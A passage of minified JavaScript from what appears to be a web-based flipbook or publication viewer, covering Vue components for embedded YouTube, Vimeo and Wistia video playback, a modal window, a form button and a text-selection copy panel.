o=s.options,r=o.autoPlay!==e.autoPlay||o.time!==e.time;i.onReady=()=>{},r&&t.shouldRetry()?setTimeout((()=>{t.disposePlayer(),t.elementId=t.generateElementId(),t.increaseTryNumber(),t.$nextTick((()=>{t.onAPILoaded()}))}),t.getTryTimeout()):s.embedded()?i.initPlayer():i.initPlayerSkipped=!0},initPlayer:()=>{t.resetTryNumber(),t.player?.width(t.width),t.player?.height(t.height),t.$parent.$on("play",t.play),t.$parent.$on("stop",t.stop),t.$parent.$on("pause",t.pause),t.$emit("ready",t.player),t.setMute(this.mute),t.autoplayMissed&&!this.$store.state.workspace.pausedByReader[this.itemId]&&t.play()}};window._wq=window._wq||[],window._wq.push(i)},increaseTryNumber:function(){this.tryNumber++},resetTryNumber:function(){this.tryNumber=0},shouldRetry:function(){return this.tryNumber<2},getTryTimeout:function(){return 500*(this.tryNumber+2)},disposePlayer:function(){this.player&&"function"==typeof this.player.remove&&(this.player.off("play",this.checkMute),this.player.remove(),this.player=null)},removeMutePrefs:function(){let t=(0,d.Z)().getLocalStorage().getItem("wistia-viewer-preferences");if(!(0,y.xb)(t)){const e=JSON.parse(t);delete e.muted,t=JSON.stringify(e),(0,d.Z)().getLocalStorage().setItem("wistia-viewer-preferences",t)}}},beforeMount(){this.removeMutePrefs()},mounted(){window.Wistia?this.onAPILoaded():(0,_i.Z)("https://fast.wistia.com/assets/external/E-v1.js",this.onAPILoaded)},beforeDestroy(){this.disposePlayer(),this.$parent.$off("play",this.play),this.$parent.$off("stop",this.stop),this.$parent.$off("pause",this.pause)}},Ni=Hi;const Zi=(0,R.Z)(Ni,Fi,Oi,!1,null,null,null).exports;var Vi=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("transition",{attrs:{name:"overlay"}},[t.visibility.overlay?i("v-touch",{staticClass:"modal-window-overlay",attrs:{dir:t.dir},on:{tap:t.onOverlayTap,pinch:function(t){t.preventDefault()},doubletap:function(t){t.preventDefault()},pinchstart:function(t){t.preventDefault()}}},[i("transition",{attrs:{name:"modal"}},[i("div",{directives:[{name:"show",rawName:"v-show",value:t.visibility.modal,expression:"visibility.modal"}],ref:"modal",class:["modal-window",{"modal-window-emphasis":t.bgColor},t.classes],style:t.modalStyle,on:{touchstart:function(t){t.stopPropagation()}}},[i("transition",{attrs:{name:"modal"}},[i("div",{staticClass:"modal-content"},[t.isLoaded?t._t("default"):i("div",{staticClass:"modal-preloader"},[i("spinner",{attrs:{size:36,"line-size":3,"line-fg-color":"#5692AE","line-bg-color":"#ffffff"}})],1),t._v(" "),t.showCloseIcon?i("div",{staticClass:"modal-close"},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"rounded-close"}})],1):t._e()],2)])],1)])],1):t._e()],1)},Ui=[];i(5958);const Gi={props:{rect:{type:Object,required:!1,default:null},width:{type:[Number,String],default:"80%"},height:{type:[Number,String],default:"auto"},bgColor:{type:String,default:null},styles:{type:Object,required:!1,default:null},classes:{type:[Object,Array,String],required:!1,default:null},delay:{type:Number,default:0},preloader:{type:Boolean,default:!1},showCloseIcon:{type:Boolean,default:!0}},data:function(){return{isVisible:!1,visibility:{modal:!1,overlay:!1},isLoaded:!this.preloader,hasError:!1,androidKeyboardShift:0,isHideEventEmitted:!1,historyEnabled:!!window.history&&!!window.history.pushState&&window.location===window.parent.location,windowWidth:window.innerWidth,windowHeight:window.innerHeight,isClosing:!1}},watch:{isVisible(t){t?(this.visibility.overlay=!0,setTimeout((()=>{this.visibility.modal=!0}),this.delay)):(this.visibility.modal=!1,setTimeout((()=>{this.visibility.overlay=!1}),this.delay))},workspaceBookSize(){this.hide()}},computed:{modalStyle(){const t={};if(this.bgColor&&this.isLoaded&&!this.styles?.backgroundColor&&(t.backgroundColor=this.bgColor),this.rect)t.width=this.rect.width+"px",t.height=this.rect.height+"px",t.left=this.rect.left+"px",t.top=this.rect.top+this.androidKeyboardShift+"px";else{const e=(0,y.kE)(this.width),i=(0,y.kE)(this.height);t.width=e?this.width+"px":this.width,t.height=i?this.height+"px":this.height,t.top=i?Math.round((this.windowHeight-this.height)/2)+this.androidKeyboardShift+"px":"50%",t.left=e?Math.round((this.windowWidth-this.width)/2)+"px":"50%",t.transform=e?"":"translateX(-50%)",t.transform+=i?"":" translateY(-50%)"}return this.styles&&(0,I.Z)(t,this.styles),t},isAndroid:function(){return!0===this.$store.state.workspace.userAgentInfo.os.android},dir:function(){return this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"},workspaceBookSize:function(){return this.$store.state.workspace.bookSize}},methods:{show:function(){this.historyEnabled&&window.addEventListener("popstate",this.hide),this.isVisible=!0,this.isHideEventEmitted=!1,this.$store.dispatch("workspace/setModalOpened",!0),setTimeout((()=>{this.$emit("shown"),this.historyEnabled&&window.history.pushState({lightbox:!0},null,window.location.href)}),this.delay)},hide:function(){this.historyEnabled&&window.removeEventListener("popstate",this.hide),this.isVisible=!1,this.$store.dispatch("workspace/setModalOpened",!1),setTimeout((()=>{this.$emit("hidden"),this.isHideEventEmitted=!0}),this.delay)},onOverlayTap:function(t){t.preventDefault(),!this.isClosing&&t&&t.target&&((0,y.HD)(t.target.className)&&t.target.className.indexOf("modal-window-overlay")>=0||(0,l.UZ)(t.target).indexOf("modal-close")>=0)&&(this.isClosing=!0,this.historyEnabled&&0!==window.history.length?window.history.back():this.hide())},loading:function(){this.isLoaded=!1},loaded:function(){this.isLoaded=!0},error:function(){this.hasError=!0},onResize:function(){if(this.windowWidth=window.innerWidth,this.windowHeight=window.innerHeight,this.isAndroid){const t=document.activeElement;if(0!==this.androidKeyboardShift||"input"!==t.tagName.toLowerCase()&&"textarea"!==t.tagName.toLowerCase())0!==this.androidKeyboardShift&&(this.androidKeyboardShift=0);else{const e=t.getBoundingClientRect();e.top>this.windowHeight/2&&this.windowHeight<(this.rect?.height||this.height)&&(this.androidKeyboardShift=-e.top/4)}}},onKeydown:function(t){"Escape"===t.code&&this.hide()}},mounted(){this.onResizeDebounced=(0,l.Ds)(this.onResize,100,!1),window.addEventListener("resize",this.onResizeDebounced),window.addEventListener("keydown",this.onKeydown),this.$root.$el.appendChild(this.$el)},beforeDestroy(){window.removeEventListener("resize",this.onResizeDebounced),window.removeEventListener("keydown",this.onKeydown),this.$store.dispatch("workspace/setModalOpened",!1),this.isHideEventEmitted||this.$emit("hidden"),setTimeout((()=>{this.$el.remove?.()}),this.delay)},components:{spinner:Q.Z}};const Xi={extends:We,name:"ContentVideo",data:function(){let t;return{playerPromise:new Promise((e=>{t=e})),resolvePlayer:t,isModalShown:!1,isPlayerShown:!1,playerLoaded:!1,isPlaying:!1,volumeEnabled:!1,isEnded:!1,isMutedByPlayer:!1,tapTimeout:0,hasError:!1,videoData:null,showPreventer:!0,currentTime:null,lastProgressId:null,originalStartFrom:null,playedWhenFrozen:!1}},beforeMount(){this.data.originalUrl?this.videoData=this.getVideoInfo(this.data.originalUrl):this.videoData=this.data,this.originalStartFrom=this.videoData.startFrom},beforeDestroy:function(){this.saveTime(this.currentTime),this.unbindEvents()},watch:{isCurrentPage:"currentPageChanged",isPlaying:"setPlayingWithSound",isMutedByPlayer:"setPlayingWithSound",shouldAutoplay(t){!t||this.isPlayerShown||this.$store.state.workspace.pausedByReader[this.data.itemId]||this.startInline()},data(t){t.originalUrl?this.videoData=this.getVideoInfo(t.originalUrl):this.videoData=t},isInline(t,e){e&&!t&&this.isPlayerShown&&this.removeInline()},currentTime(t){this.saveTime(t)},isWorkspaceFrozen(t,e){t&&!e&&this.isInline&&this.removeInline(),!t&&e&&this.shouldAutoplay&&!this.$store.state.workspace.pausedByReader[this.data.itemId]&&this.startInline()},isLightboxShown(t){t&&!this.isModalShown?this.$emit("pause"):!this.isMobile&&this.data.autoplay&&this.isCurrentPage&&!this.$store.state.workspace.pausedByReader[this.data.itemId]&&this.$emit("play")},isResizing(t){t&&this.isMobile&&!this.isInline&&this.isSafari&&this.isIos&&document.activeElement?.blur()}},mounted(){this.shouldAutoplay&&!this.$store.state.workspace.pausedByReader[this.data.itemId]&&this.startInline()},computed:{isInline:function(){const t=this.$store.state.workspace.userAgentInfo;return"dialog"!==this.data.mode&&!this.data.crossWide&&!t.browser.safari&&!this.isMobileApp&&!this.isPublisher&&this.data.rect[0]*this.data.scaleRatio.w>144&&this.data.rect[1]*this.data.scaleRatio.h>100},shouldAutoplay(){return!this.isFrozenOrNotReady&&this.isCurrentPage&&!this.isEmbed&&!this.hasError&&!this.isPublisher&&!this.isMobile&&!this.isLightboxShown&&!this.$store.state.workspace.pausedByReader[this.data.itemId]&&this.isInline&&(this.$store.state.caniuse.video.inlineMutedAutoplay||this.$store.state.caniuse.video.inlineAutoplay)&&this.data.autoplay},isLightboxShown(){return this.$store.getters["lightbox/isShown"]||this.$store.state.workspace.modalOpened||null!==this.$store.state.popup.opened},shouldShowThumbnail(){return"dialog"!==this.data.mode||this.data.showImage},isThumbnailShown:function(){return this.shouldShowThumbnail&&!this.playerLoaded},isIos:function(){return this.$store.state.workspace.userAgentInfo.os.ios},isModalSmall:function(){return this.modalRect.height<=200},isPublisher:function(){return this.$store.state.workspace.userAgentInfo.browser.publisher},isMobileApp(){return"mobile-app"===this.$store.getters["info/version"]},apiVideoUrl:function(){let t="";switch(this.data.provider){case"youtube":t="https://www.youtube.com/watch?v="+this.data.id;break;case"vimeo":t="https://vimeo.com/"+this.data.id,this.data.accessKey?t="https://vimeo.com/"+this.data.id+"/"+this.data.accessKey:this.data.originalUrl&&(t=this.data.originalUrl.split("#")[0].split("?")[0]);break;case"wistia":t=this.data.account?"https://"+this.data.account+".wistia.com/medias/"+this.data.id:this.data.originalUrl?this.data.originalUrl.split("#")[0].split("?")[0]:"https://fast.wistia.net/embed/iframe/"+this.data.id;break;default:t=this.data.originalUrl||this.data.id}return t},modalRect:function(){const t=(0,ae.Tj)({width:this.data.width?this.data.width:this.data.rect[0],height:this.data.height?this.data.height:this.data.rect[1]},{width:.8*this.workspaceSize.width,height:.8*this.workspaceSize.height});return{width:Math.round(t.width),height:Math.round(t.height)}},workspaceSize:function(){return this.$store.getters["workspace/size"]},modalVideoStyle:function(){return"youtube"===this.data.provider?null:{width:this.modalRect.width+"px",height:this.modalRect.height+"px"}},containerClasses:function(){return{error:this.hasError,"cross-wide":!!this.crossWideItem,highlighted:this.isHighlighted,"hover-button":"hover"===this.iconVisibility}},isMuted(){return this.$store.state.sound.muteSound||this.$store.state.sound.muteTemporary||this.isInline&&!this.$store.state.caniuse.video.inlineAutoplay&&this.$store.state.caniuse.video.inlineMutedAutoplay},isEmbed(){return this.$store.state.workspace.isEmbed},isWorkspaceFrozen(){return this.$store.getters["workspace/isFrozen"]},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]},rawThumbnailUrl:function(){return this.data.image&&this.shouldShowThumbnail?(0,Ie.n)({filenameOrUrl:this.data.image}):null},isSafari(){return!!this.$store.state.workspace.userAgentInfo.browser.safari}},methods:{onVideoClick:function(){this.animationInProgress||this.isResizing||(this.$store.commit("sound/SET_MUTE_TEMPORARY",!this.$store.state.caniuse.userInteractions.firstClick),this.$store.commit("workspace/SET_PAUSED_BY_READER",{itemId:this.data.itemId,value:!1}),Date.now()>this.tapTimeout&&setTimeout(this.videoClick,this.$store.state.workspace.doubletapInterval+1),this.tapTimeout=Date.now()+this.$store.state.workspace.doubletapInterval)},videoClick:function(){this.$store.commit("sound/SET_MUTE_TEMPORARY",!1),this.isFrozenOrNotReady||this.isEmbed||this.hasError||(this.isPublisher?this.$root.$emit("video",{action:"publisher",url:this.apiVideoUrl}):(this.$emit("video:click",this),this.isInline?this.startInline():this.openinModal()))},startInline(){this.currentTime=this.loadTime(),this.videoData.startFrom=this.currentTime??this.originalStartFrom,this.playerPromise.then((()=>{"youtube"===this.data.provider&&(this.playerLoaded=!0)})),this.isPlayerShown=!0,this.$nextTick((function(){this.bindEvents()}))},removeInline(){this.unbindEvents(),this.isPlayerShown=!1,this.playerLoaded=!1,this.playerPromise=new Promise((t=>{this.resolvePlayer=t}))},openinModal(){this.currentTime=this.loadTime(),this.videoData.startFrom=this.currentTime??this.originalStartFrom,this.$root.$emit("popupStateChanged",{state:1}),this.isModalShown=!0,this.$nextTick((function(){this.$refs.modalWindow.show(),this.$nextTick((function(){this.bindEvents()})),this.$refs.modalWindow.$once("hidden",(()=>{this.$root.$emit("popupStateChanged",{state:0}),this.isModalShown=!1,this.isPlaying=!1,this.$emit("video:close",this),this.$root.$emit("video",{action:"close",url:this.apiVideoUrl}),this.unbindEvents()}))}))},playPause:function(t){t.preventDefault(),this.isPlaying?this.$refs.player.pause():this.$refs.player.play()},getVideoInfo:function(t){const e=t.split("?"),i=e[0],s=e[1],o=i.split("#")[0],r=/(?:(?:https?:)?\/\/)?(?:[^.]+\.)?(\w+)(\.|\-)/.exec(o),a=r?r[1]:null,n=o.split("/"),h={provider:a,id:n[n.length-1]};switch(a){case"youtu":case"youtube":if(h.provider="youtube","watch"===h.id){const t=/v=([^&]+)/.exec(s);h.id=t?t[1]:null}break;case"vimeo":const t=/user[0-9]+\/\w+/,e=/^\d+$/;h.customUrl=t.exec(o)?o:null,h.customUrl||e.exec(h.id)||(h.accessKey=h.id,h.id=n[n.length-2]);break;case"wistia":const i=/https?:\/\/(.*)?(?:\.wistia\.com|fast\.wistia\.net)/.exec(o);h.account=i?i[1]:null}return(0,I.Z)(this.data,h)},currentPageChanged:function(t){t?this.isMobile||!this.data.autoplay||this.$store.state.workspace.pausedByReader[this.data.itemId]||this.$emit("play"):this.$emit("pause")},bindEvents:function(){this.$refs.player.$on("play",((t,e,i)=>{["vimeo","wistia"].includes(this.data.provider)&&this.$store.commit("workspace/SET_PAUSED_BY_READER",{itemId:this.data.itemId,value:null}),"youtube"!==this.data.provider&&this.isInline&&(this.playerLoaded=!0);const s=0===t||0===t?.seconds;this.isEnded&&s&&this.originalStartFrom&&this.$refs.player.setCurrentTime(this.originalStartFrom),this.isMutedByPlayer=i,this.isEnded=!1,this.isPlaying=!0,this.showPreventer=!0,this.$emit("video:play",t,this,e),this.$root.$emit("video",{action:"play",url:this.apiVideoUrl,time:t})})),this.$refs.player.$on("pause",((t,e,i)=>{if(["vimeo","wistia"].includes(this.data.provider)){const t=this.$store.state.workspace.pausedByReader[this.data.itemId];this.$store.commit("workspace/SET_PAUSED_BY_READER",{itemId:this.data.itemId,value:t||null===t})}this.isPlaying=!1,this.isMutedByPlayer=i,this.currentTime=t,this.$emit("video:pause",t,this,e),this.$root.$emit("video",{action:"pause",url:this.apiVideoUrl,time:t})}));const t=(t,e,i)=>{this.isEnded=!0,this.isMutedByPlayer=i,this.isPlaying=!1,this.currentTime=this.originalStartFrom,this.$emit("video:end",t,this,e),this.$root.$emit("video",{action:"stop",url:this.apiVideoUrl,time:t})};this.$refs.player.$on("end",t),this.$refs.player.$on("ended",t);const e=(t,e,i)=>{this.currentTime=t,this.isMutedByPlayer=i,this.$emit("video:seek",t,this,e),this.$root.$emit("video",{action:"seekTo",url:this.apiVideoUrl,time:t})};this.$refs.player.$on("seek",e),this.$refs.player.$on("seeked",e),this.$refs.player.$on("timeupdate",((t,e,i)=>{this.isMutedByPlayer=i,this.currentTime=t})),this.$refs.player.$on("secondchange",((t,e,i)=>{"wistia"===this.data.provider&&this.isEnded||(this.currentTime=t),this.isMutedByPlayer=i})),this.$refs.player.$on("error",((t,e,i)=>{"NotAllowedError"!==t.name&&("PasswordError"!==t.name&&"PrivacyError"!==t.name?(this.$emit("video:error",t,this,e),this.isModalShown=!1,this.isPlayerShown=!1,this.playerLoaded=!1,this.isPlaying=!1,this.hasError=!0,this.isMutedByPlayer=i):this.showPreventer=!1)})),this.$refs.player.$on("loaded",((t,e,i)=>{this.showPreventer=!0,"youtube"!==this.data.provider&&this.isInline&&(this.playerLoaded=!0),this.isMutedByPlayer=i,this.$emit("video:loaded",t,this,e)})),this.$refs.player.$on("ready",(()=>{this.$nextTick((()=>{this.resolvePlayer()}))}))},unbindEvents:function(){this.$refs.player&&(this.$refs.player.$off("play"),this.$refs.player.$off("pause"),this.$refs.player.$off("end"),this.$refs.player.$off("ended"),this.$refs.player.$off("seek"),this.$refs.player.$off("seeked"),this.$refs.player.$off("error"),this.$refs.player.$off("loaded"),this.$refs.player.$off("ready"))},setPlayingWithSound(){this.$store.state.caniuse.userInteractions.firstClick||this.isMutedByPlayer||this.$store.dispatch("caniuse/setFirstClick"),this.$store.dispatch("content/setVideoPlayingWithSound",{playing:this.isPlaying&&!this.isMutedByPlayer,itemId:this.data.itemId})},getVideoHash(t){return[[this.videoData.page.id,this.videoData.page.isWide?"wide":this.videoData.page.side].join("_"),this.videoData.provider,this.videoData.id,t].join("_")},saveTime(t){const e=this.getVideoHash("time"),i=this.getVideoHash("id"),s=(0,d.Z)().getSessionStorage().getItem(i);this.data.crossWide&&s&&s!=this.lastProgressId||(this.lastProgressId=Date.now(),(0,d.Z)().getSessionStorage().setItem(e,t),(0,d.Z)().getSessionStorage().setItem(i,this.lastProgressId))},loadTime(){const t=this.getVideoHash("time"),e=(0,d.Z)().getSessionStorage().getItem(t),i=e?parseInt(e,10):null,s=this.getVideoHash("id");return this.lastProgressId=(0,d.Z)().getSessionStorage().getItem(s),null===i||isNaN(i)?null:i}},components:{ContentButton:Ke,youtube:zi,vimeo:Ei,wistia:Zi,"modal-window":(0,R.Z)(Gi,Vi,Ui,!1,null,"1536e47e",null).exports}};const ji=(0,R.Z)(Xi,pi,gi,!1,null,null,null).exports;var Yi=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("v-touch",t._g({class:t.containerClasses,style:[t.containerStyle,t.highlightedColor],attrs:{"data-item-id":t.data.itemId,"data-popup-form-area":!t.hasButton}},t.isEmbed?null:{tap:t.onButtonClick}),[t.hasButton?i("button-component",{attrs:{fontSize:t.buttonProps.fontSize,size:t.containerRect,caption:t.buttonProps.caption,cornerRadius:t.buttonProps.cornerRadius,color:t.buttonColor,translate:t.buttonTranslate,"fit-hover":!1}}):t._e()],1)},qi=[],Ki=i(6767),Qi=i.n(Ki),Ji=i(9712),ts=i(1909);let es,is;const ss={extends:We,name:"ContentForm",components:{FormContainer:Ji.Z,ButtonComponent:Ke},props:[],data:function(){return{tapTimeout:0,isPopup:this.data.popup,hasButton:!!this.data.button,isPressed:!1,provider:(0,ts.V)(this.data.url),buttonTranslate:{x:0,y:0}}},mounted(){this.isMobile&&this.$root.$on("form-highlight",this.setHighlight),es=()=>{this.isPressed=!0,this.crossWideItem&&(this.crossWideItem.isPressed=!0)},is=()=>{this.isPressed=!1,this.crossWideItem&&(this.crossWideItem.isPressed=!1)},this.$el.addEventListener("pointerdown",es),this.$el.addEventListener("pointerup",is),this.$el.addEventListener("mouseout",is)},beforeDestroy(){this.isMobile&&this.$root.$off("form-highlight",this.setHighlight),this.$el.removeEventListener("pointerdown",es),this.$el.removeEventListener("pointerup",is),this.$el.removeEventListener("mouseout",is)},computed:{containerClasses:function(){return{highlighted:this.isHighlighted,pressed:this.isPressed,"cross-wide":!!this.crossWideItem&&!this.isSlideMode,"content-element":!0,"popup-form-area":!this.hasButton}},isEmbed(){return this.$store.state.workspace.isEmbed},animationInProgress:function(){return this.$store.getters["workspace/animationInProgress"]},buttonProps:function(){return this.data.button},buttonColor:function(){if(!this.data.button.color)return;const t=new(Qi())(this.data.button.color),e=(0,c.R)((0,c.l)(this.data.button.color))>.5,i=e?t.mix(Qi()("black"),.15).hsl().string():t.mix(Qi()("white"),.2).hsl().string(),s=e?t.mix(Qi()("black"),.3).hsl().string():t.mix(Qi()("white"),.4).hsl().string(),o=e?"#000000":"#ffffff";return{backgroundColor:this.data.button?.color,backgroundHoverColor:i,backgroundActiveColor:s,mainColor:o}},isSlideMode(){return this.$store.state.pager.slideMode},highlightedColor(){let t=this.$store.state.book.links.color;return-1!==t.indexOf("#")&&(t=`rgba(${(0,c.l)(t).join(",")}, 0.6)`),{"--highlighted-color":t}},isPublisher:function(){return this.$store.state.workspace.userAgentInfo.browser.publisher}},methods:{onButtonClick:function(){this.animationInProgress||this.isResizing||(this.$store.commit("sound/SET_MUTE_TEMPORARY",!this.$store.state.caniuse.userInteractions.firstClick),Date.now()>this.tapTimeout&&setTimeout(this.buttonClick,this.$store.state.workspace.doubletapInterval+1),this.tapTimeout=Date.now()+this.$store.state.workspace.doubletapInterval)},buttonClick:function(){if(this.$store.commit("sound/SET_MUTE_TEMPORARY",!1),this.isFrozenOrNotReady||this.isEmbed)return;const t=this.hasButton?"button":"content-click";this.isPublisher&&this.isPopup?this.$root.$emit("popupFormOpenPrevented",{url:this.data.url}):this.isPopup?this.$store.dispatch("lightbox/openLightbox",{type:"form",itemId:this.data.itemId,target:t}):(window.open(this.data.url,"_blank"),this.$root.$emit("onTabFormOpen",{pageId:this.data.page.id,url:this.data.url,target:t}))},setHighlight(t){let{itemId:e}=t;e===this.data.itemId.toString(10)&&(this.isHighlighted=!0,setTimeout((()=>{this.isHighlighted=!1}),500))}}},os=ss;const rs=(0,R.Z)(os,Yi,qi,!1,null,null,null).exports;var as=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("transition",{attrs:{name:"panel-fade"}},[i("div",{directives:[{name:"show",rawName:"v-show",value:(t.showPanel||t.forceShow)&&!t.inProgress&&!t.contextMenuVisible,expression:"(showPanel || forceShow) && !inProgress && !contextMenuVisible"}],ref:"copyPanel",staticClass:"select-text-panel",class:t.panelClass,style:t.panelStyle,attrs:{dir:t.blockDirection},on:{mouseenter:t.onMouseEnter,mouseleave:t.onMouseLeave,mousedown:function(t){t.stopPropagation()}}},[i("div",{staticClass:"pointer",style:t.pointerStyle}),t._v(" "),i("span",{staticClass:"button",on:{click:t.copyText}},[t._v(t._s(t.$t("RightClickMenu.COPY_TEXT")))]),t._v(" "),t.isOnline?i("span",{staticClass:"divider"},[t._v("|")]):t._e(),t._v(" "),t.isOnline?i("span",{staticClass:"button",on:{click:t.copyTextLink}},[t._v(t._s(t.$t("RightClickMenu.SHARE_SELECTED_TEXT")))]):t._e()])])},ns=[];const hs={name:"select-text-panel",data:function(){return{showPanel:!1,forceShow:!1,panelStyle:{},panelRect:{},vertical:null,rightOffset:!1,showPanelTimeout:null,pointerStyle:{}}},mounted(){this.$root.$on("selectText:hidePanel",this.hide),this.$root.$on("selectText:showPanel",this.show)},beforeDestroy(){this.$root.$off("selectText:hidePanel",this.hide),this.$root.$off("selectText:showPanel",this.show)},computed:{isSlideMode(){return this.$store.state.pager.slideMode},userRect(){return this.$store.state.text.selectionRect},pageId(){return this.$store.state.text.pageID},pageSide(){return this.$store.state.text.pageSide},inProgress(){return this.$store.state.text.inProgress},pageSize(){return this.$store.state.pages.size},cornerSymbols(){return this.$store.state.text.cornerSymbols},holderSize(){return this.$store.getters["workspace/holderSize"]},bookComponent(){return this.$store.state.workspace.bookComponent},locale(){return this.$store.getters["i18n/getCurrent"]},blockDirection:function(){return this.$store.getters["i18n/isLocaleRtl"]?"rtl":null},isRtl(){return this.$store.state.book.rightToLeft},panelClass(){return this.vertical+(this.rightOffset?" right-side":"")+(this.contextMenuVisible?" quick-leave":"")},pages(){const t=this.$store.getters["pager/currentPages"].length;return this.$store.getters["pages/pageProp"](this.pageId,"wide")?2:t},hardcoverTopPadding(){if(!this.$store.getters["book/hasHardcover"])return 0;if(this.$store.state.pager.spreadMode){return 1===this.pages&&(this.$store.getters["pages/isFirstPage"](this.pageId)||this.$store.getters["pages/isLastPage"](this.pageId))?-.03*this.pageSize.height/2:0}return this.$store.state.pager.singleMode&&this.$store.getters["pages/isFirstPage"](this.pageId)?-.03*this.pageSize.height/2:0},hardcoverLeftPadding(){return this.$store.getters["book/hasHardcover"]&&(this.$store.state.pager.spreadMode&&1===this.pages&&(!this.isRtl&&this.$store.getters["pages/isLastPage"](this.pageId)||this.isRtl&&this.$store.getters["pages/isFirstPage"](this.pageId))||this.$store.state.pager.singleMode&&this.isRtl&&this.$store.getters["pages/isFirstPage"](this.pageId))?-.03*this.pageSize.width:0},pageLeftPadding(){const t=this.$store.getters["pages/pageProp"](this.pageId,"wide");return this.$store.getters["pager/isFirstSpread"]||"right"!==this.pageSide||(this.isRtl&&this.$store.getters["pages/isLastPage"](this.pageId)||t)&&!this.$store.state.pager.singleMode?0:this.$store.state.pager.spreadMode?this.pageSize.width:this.$store.state.pager.singleMode&&t?-this.pageSize.width:0},contextMenuVisible(){return this.$store.state.workspace.contextMenuVisible},isOnline(){return!this.$store.getters["workspace/isOffline"]},pagesWidth(){let t;const e=this.$store.getters["pager/state"];if(e.slideMode)t=this.holderSize.width;else{const i=e.leftPage&&e.rightPage;t=this.$store.state.pages.size.width*(i?2:1)}return t},workspaceSize(){return this.$store.getters["workspace/size"]},isZoomed(){return 1!==this.$store.state.pages.size.zoomFactor},bookContainerWidth(){const t=this.$store.state.sidebar.opened?this.$store.state.sidebar.width:0;return this.workspaceSize.width-t}},methods:{hide(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{forceHide:!0};this.showPanel=!1,t.forceHide&&(this.forceShow=!1)},show(){const t="first:"+this.cornerSymbols.first.left+"-"+this.cornerSymbols.first.top+" last:"+this.cornerSymbols.last.left+"-"+this.cornerSymbols.last.top;null===this.userRect||this.showPanel&&this.cornerSymbolsCode===t||(this.showPanel=!0,this.cornerSymbolsCode=t,this.$nextTick((()=>{this.setPosition()})))},setPosition(){const t=this.calculatePanelPosition();this.panelRect.left=t.left,this.panelRect.top=t.top,this.vertical=t.vertical,this.panelStyle={left:this.panelRect.left+"px",top:this.panelRect.top+"px"}},calculatePanelPosition(){let t;t=this.cornerSymbols.first.top===this.cornerSymbols.last.top?"left"===this.userRect.cursorHSide?{vertical:"top",horizontal:"first"}:{vertical:"bottom",horizontal:"last"}:"top"===this.userRect.cursorVSide?{vertical:"top",horizontal:"first"}:{vertical:"bottom",horizontal:"last"};const e="[data-zoom-wrapper]",i=new window.WebKitCSSMatrix(window.getComputedStyle(this.$root.$el.querySelector(e)).transform),s=i.m41,o=i.m42,r=50;let a=this.calculatePanelCoordinates({position:t,zoomWrapperTranslateX:s});return this.isZoomed?a.top+o<r?(t.vertical="bottom",a=this.calculatePanelCoordinates({position:t,zoomWrapperTranslateX:s})):a.top-o+this.workspaceSize.height>this.holderSize.height-r&&(t.vertical="top",a=this.calculatePanelCoordinates({position:t,zoomWrapperTranslateX:s})):a.top<r?(t.vertical="bottom",a=this.calculatePanelCoordinates({position:t,zoomWrapperTranslateX:s})):a.top>this.holderSize.height-r&&(t.vertical="top",a=this.calculatePanelCoordinates({position:t,zoomWrapperTranslateX:s})),t=(0,I.Z)(t,a),t},calculatePanelCoordinates(t){let{position:e,zoomWrapperTranslateX:i}=t;const s=this.userRect?.offsetX??0,o=this.userRect.offsetY??0,r=this.cornerSymbols[e.horizontal],a=this.cornerSymbols.first.top!==this.cornerSymbols.last.top,n=this.cornerSymbols.first.isRtlSelection&&a,h=e.horizontal===(n?"last":"first")&&r.collisions.left||e.horizontal===(n?"first":"last")&&!r.collisions.right?r.width:0,l="bottom"===e.vertical?r.height:0;let c=this.pageLeftPadding+this.hardcoverLeftPadding+r.left+h+s;const d=this.hardcoverTopPadding+r.top+l+o;let p,g;if(this.isZoomed){const t=this.isSlideMode&&this.holderSize.left<0?0:this.holderSize.left,e=!this.isSlideMode&&this.bookContainerWidth>this.pagesWidth?(this.bookContainerWidth-this.pagesWidth)/2:0;p=this.$el.offsetWidth/2-t-i-e,g=this.bookContainerWidth-this.$el.offsetWidth/2-t-i-e}else p=this.$el.offsetWidth/2-this.holderSize.left,g=this.pagesWidth-(this.$el.offsetWidth/2-this.holderSize.left);const u=this.isZoomed&&(this.$el.offsetWidth/2-(p-c)<23||this.$el.offsetWidth/2-(c-g)<23);return this.pointerStyle.marginLeft=null,this.pointerStyle.display=u?"none":"block",c<p?(this.pointerStyle.marginLeft=c-p+"px",c=p):c>g&&(this.pointerStyle.marginLeft=c-g+"px",c=g),{left:c,top:d}},copyText(){this.$root.$emit("contextMenu:copyText"),this.hide()},copyTextLink(){this.$root.$emit("contextMenu:copyTextLink"),this.hide()},onMouseEnter(){this.forceShow=!0},onMouseLeave(){this.forceShow=!1}}};const ls=(0,R.Z)(hs,as,ns,!1,null,"122cbd9d",null).exports;var cs=i(6373);const ds=i.n(cs)()({features:["js","ww"],idle:1e4}),ps={},gs={methods:{resizePage(t,e,i,s,o){let r;const a=new Promise(((t,e)=>{r=e})),n=()=>delete ps[s];ds.resize(t,e,Object.assign({},i,{cancelToken:a})).then(o,o).then(n,n),ps[s]=r},cancelResize(t){const e=ps[t];e&&e(),delete ps[t]}}},us={computed:{defaultZoomFactor(){return this.$store.state.workspace.defaultZoomFactor},minZoomFactor(){return this.$store.state.workspace.minZoomFactor},isZoomed(){return 1!==this.zoomFactor}},methods:{getTappedZoomBlock(t){let e,i;return t.target&&"block"===t.target.className&&(e=t.target.getAttribute("data-id"),i=t.target.getBoundingClientRect()),{id:e,rect:i}},getBlockRect(t,e){const i={width:t.width>e.width+e.left-t.left?e.width+e.left-t.left:t.width,height:t.height,left:t.left-e.left,top:t.top-e.top};return i.left<0&&(i.width=i.width+i.left,i.left=0),i},checkScaleFactorForZoom:(t,e,i)=>1*(e*t).toFixed(2)>i?i/e:t,getScrollAmount(t,e,i,s,o){if(!t||!t.direction)return;let r,a;switch(t.direction){case"left":r=e<-100?100:-e;break;case"up":r=i<-100?100:-i;break;case"right":a=Math.max(o.width-s.width,0),r=e-100>-a?-100:-a-e;break;case"down":a=Math.max(o.height-s.height,0),r=i-100>-a?-100:-a-i}return r},getSuitableZoomFactor(t,e,i,s){if(0===e)return null;const 